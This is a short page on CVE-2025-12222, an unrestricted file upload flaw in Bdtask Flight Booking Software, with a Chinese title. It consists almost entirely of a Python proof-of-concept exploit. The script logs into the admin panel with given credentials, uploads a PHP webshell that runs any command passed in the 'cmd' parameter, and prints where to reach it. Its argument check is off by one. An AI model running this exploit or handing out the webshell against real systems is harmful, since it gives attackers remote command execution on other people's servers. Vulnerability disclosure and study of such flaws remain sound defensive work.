CVE-2025-12222 | Bdtask Flight Booking Software 任意文件上传漏洞

import requests import sys # CVE-2025-12222 PoC - Bdtask Flight Booking Software Unrestricted Upload # Target: /admin/transaction/deposit def exploit(target_url, username, password, webshell_content): """ Exploit for CVE-2025-12222 This PoC demonstrates uploading a webshell to the vulnerable endpoint """ login_url = target_url.rstrip('/') + '/admin/login' upload_url = target_url.rstrip('/') + '/admin/transaction/deposit' # Step 1: Authenticate with low-privilege admin account session = requests.Session() login_data = { 'email': username, 'password': password } try: resp = session.post(login_url, data=login_data, timeout=10) if resp.status_code != 200: print('[-] Login failed - check credentials') return False print('[+] Successfully authenticated') # Step 2: Upload malicious file via deposit handler files = { 'deposit_file': ('shell.php', webshell_content, 'application/x-php') } upload_resp = session.post(upload_url, files=files, timeout=10) if upload_resp.status_code == 200: print('[+] File uploaded successfully') print(f'[+] Access webshell at: {target_url}/uploads/shell.php') return True else: print(f'[-] Upload failed with status: {upload_resp.status_code}') return False except requests.RequestException as e: print(f'[-] Request error: {str(e)}') return False if __name__ == '__main__': if len(sys.argv) < 3: print(f'Usage: python {sys.argv[0]} <target_url> <username> <password>') sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] # Simple PHP webshell webshell = '<?php system($_GET["cmd"]); ?>' exploit(target, user, pwd, webshell)